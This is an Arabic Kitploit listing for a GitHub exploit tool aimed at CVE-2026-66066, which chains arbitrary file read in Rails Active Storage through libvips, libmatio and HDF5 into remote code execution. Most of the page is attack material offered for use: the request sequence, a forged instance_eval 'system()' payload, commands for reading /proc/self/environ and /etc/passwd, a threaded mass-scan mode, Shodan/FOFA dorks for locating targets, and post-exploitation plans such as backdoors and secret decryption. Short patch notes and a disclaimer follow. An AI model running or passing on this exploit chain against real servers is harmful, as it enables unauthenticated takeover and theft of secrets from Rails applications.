Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-66066 — CVE-2026-66066 — KindaRails2Shell: قراءة ملفات تعسفية في Rails Active Storage/libvips → تنفيذ أوامر عن بُعد (RCE). ملف ثنائي الهوية MATLAB/HDF5 → سرقة SECRET_KEY_BASE → تزوير التوقيع. CVSS 9.5 | Rails < 8.1.3.1 | Kitploit
أدوات/GitHubGitHub/shinthink/cve-2026-66066
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: قراءة ملفات تعسفية في Rails Active Storage/libvips → تنفيذ أوامر عن بُعد (RCE). ملف ثنائي الهوية MATLAB/HDF5 → سرقة SECRET_KEY_BASE → تزوير التوقيع. CVSS 9.5 | Rails < 8.1.3.1

عرض المستودع
11منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-66066 — KindaRails2Shell

قراءة ملفات تعسفية عبر Rails Active Storage/libvips → سرقة SECRET_KEY_BASE → تنفيذ تعليمات برمجية عن بُعد


نظرة عامة

CVE-2026-66066 عبارة عن سلسلة هجوم بخطورة حرجة (CVSS 9.5) تبدأ بقراءة ملف تعسفي قبل المصادقة وتنتهي بتنفيذ تعليمات برمجية عن بُعد في وحدة Active Storage في Ruby on Rails، وتؤثر على Rails 7.2.0–7.2.3.1 و8.0.0–8.0.5 و8.1.0–8.1.3 في إعدادها الافتراضي.

تستغل الثغرة التباس محلل عبر أربع طبقات يشمل Rails وlibvips وlibmatio وHDF5. يحتوي ملف مصنوع بعناية بترويسة MATLAB 5.0 (تفي بفحص libvips) وحاوية HDF5 v7.3 (يوجّهها libmatio) على مجموعة بيانات خارجية تشير إلى مسار ملف عشوائي على الخادم. عندما تعالج ActiveStorage هذا الملف كنمط صورة، تتحول بايتات الملف المستهدف إلى بكسلات صورة — ما يتيح قراءة ملف تعسفي دون مصادقة.

بمجرد استعادة SECRET_KEY_BASE من /proc/self/environ أو ملفات الاعتماد، يستنتج المهاجم مفتاح التحقق Active Storage ويزوّر JSON تباين موقّع يحتوي على instance_eval، محققًا تنفيذ تعليمات برمجية عن بُعد.

التطبيقات المتأثرة: أكثر من 500 ألف تطبيق Rails (الافتراضي في Rails 7+ هو variant_processor = :vips) اكتشاف: فريق أبحاث Ethiack + RyotaK (GMO Flatt Security) + bl0rph، يوليو 2026 التصحيح: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 يوليو 2026)

الإصدارات المتأثرة

Branchالإصدارات المتأثرةالإصلاح
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x متأثر فقط إذا تم تمكين variant_processor = :vips يدويًا.

اكتشاف: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph إثبات مفهوم مرجعي: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


آلية الثغرة

السبب الجذري: التباس المحلل عبر أربع طبقات

تربط سلسلة الهجوم خلافين مستقلين في نوع المحتوى عبر أربعة مكونات:

root@kitploit:~
Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

الملف ذو الهوية المزدوجة

"لا يُنتِج أي كاتب شرعي كلا القيمتين MATLAB 5.0 عند البايت 0 و0x0200 عند البايت 124."

لماذا ينجح الهجوم

  1. نوع المحتوى المعلَن من العميل — Blob#variable? يثق في عمود قاعدة البيانات الذي يُملأ عند الرفع المباشر. لا يتم فحص أي بايتات.
  2. الاكتشاف التلقائي في libvips — يقوم Vips::Image.new_from_file بالتكرار عبر اللوادر؛ فحص matload يتحقق من 10 بايتات فقط.
  3. توجيه الإصدار في libmatio — البايتان 124–125 يحددان المحلل؛ 0x0200 يختار الواجهة الخلفية HDF5 بغض النظر عن النص الوصفي.
  4. مجموعات البيانات الخارجية في HDF5 — H5Pset_external تتيح أن تكون البايتات الخام لمجموعة البيانات في ملف خارجي عشوائي. يستدعي libmatio H5Dread دون التحقق من H5Pget_external_count.
  5. مفاتيح التباين مستقلة عن blob — مفتاح التباين المُستخرج يوقّع التحويل فقط، وليس معرّف blob، ما يجعلها قابلة لإعادة الاستخدام مع أي blob مرفوع.
  6. مُحوِّل Vips يفتقر إلى قائمة طرق مسموح بها — يرث Transformers::Vips سلوك validate_transformation من الصنف الأساسي، الذي يمنع فقط combine_options. تمر أسماء الطرق العشوائية إلى Vips::Image.public_send.

تسلسل الهجوم

root@kitploit:~
1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

مراجع الكود المصدري الموثّقة


التثبيت

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

الاستخدام

root@kitploit:~
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

الوسائط

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

إثبات المفهوم

هدف واحد

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.example.com
root@kitploit:~
  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5

  Host          : rails-app.example.com
  Rails         : YES
  ActiveStorage : YES
  File Read     : YES
  SECRET_KEY    : a1b2c3d4...
  RCE           : YES

  RCE Output:
  uid=1000(rails) gid=1000(rails) groups=1000(rails)
  rails-prod-01

قراءة ملف فقط

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ

FOFA / Shodan

root@kitploit:~
FOFA:   body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"

الأثر

الاستغلال الناجح يحقق تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم عملية Rails:

  • استخراج SECRET_KEY_BASE → تزوير ملفات تعريف الارتباط الموقعة والجلسات ورموز ActiveStorage
  • فك تشفير credentials.yml.enc → كلمات مرور قاعدة البيانات، مفاتيح التخزين السحابي، رموز واجهات برمجة تطبيقات الطرف الثالث
  • الوصول إلى جميع بيانات التطبيق عبر وحدة تحكم Rails باستخدام جلسات مزورة
  • التحول إلى الخدمات الداخلية التي يمكن الوصول إليها من مضيف Rails
  • نشر أبواب خلفية دائمة عبر cron أو مفاتيح SSH أو قشرة ويب على مستوى التطبيق

لا حاجة لأي حساب في التطبيق — نقطة رفع الملفات المباشرة تقبل الطلبات غير المصادق عليها افتراضيًا.


الإصلاح (Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1)

الإصلاح يحظر لوادر libvips غير الموثوقة:

root@kitploit:~
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1

يمنع هذا matload وsvgload وfitsload وniiload وradload وopenslideload من معالجة المدخلات غير الموثوقة. قم بالترقية إلى Rails 7.2.3.2 أو 8.0.5.1 أو 8.1.3.1. يتطلب libvips >= 8.13 وruby-vips >= 2.2.1.

بعد التصحيح: قم بتدوير جميع الأسرار التي يمكن لعملية Rails قراءتها — SECRET_KEY_BASE وRAILS_MASTER_KEY وبيانات اعتماد قاعدة البيانات ومفاتيح التخزين السحابي.


إخلاء مسؤولية

لأغراض التعليم والاختبار المصرّح به فقط.

لا تستخدم ضد أي أنظمة دون إذن صريح من المالك. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.


المراجع


اكتشف بواسطة فريق أبحاث Ethiack + RyotaK + bl0rph. غير تابع لـ Ruby on Rails.

تنزيل الأداة
البايتاتالغرضالقيمة
0–9كاشف libvipsMATLAB 5.0
10–123حشومسافات
124–125موجّه libmatio0x0200 (HDF5 v7.3)
126–127علامة ترتيب البايتات0x4d49 (IM)
128–511كتلة مستخدم HDF5حشو
512+Superblock الخاص بـ HDF5حاوية تحتوي على مجموعة بيانات خارجية
الملفالغرض
activestorage/app/models/active_storage/blob.rbvariable? يثق في عمود content_type
activestorage/app/models/active_storage/blob/representable.rbمسار التمثيل يحل blob والتباين بشكل مستقل
activestorage/app/models/active_storage/variation.rbdecode يتحقق من مفتاح التباين؛ لا يوجد مرجع متبادل إلى blob
image_processing/lib/image_processing/transformers/vips.rbلا توجد قائمة طرق مسموح بها — يرث سلوك الصنف الأساسي
libvips/foreign/matload.cvips__mat_ismat يفحص أول 10 بايتات فقط
الموردالرابط
استشارة أمان RailsGHSA-xr9x-r78c-5hrm
إثبات مفهوم مرجعي (0xsha)KindaRails2Shell
أبحاث Ethiackkindarails2shell
تقصي Rails الجنائيrails-forensics-CVE-2026-66066
وحدة Metasploitrapid7/metasploit-framework#21733
CWE-94Code Injection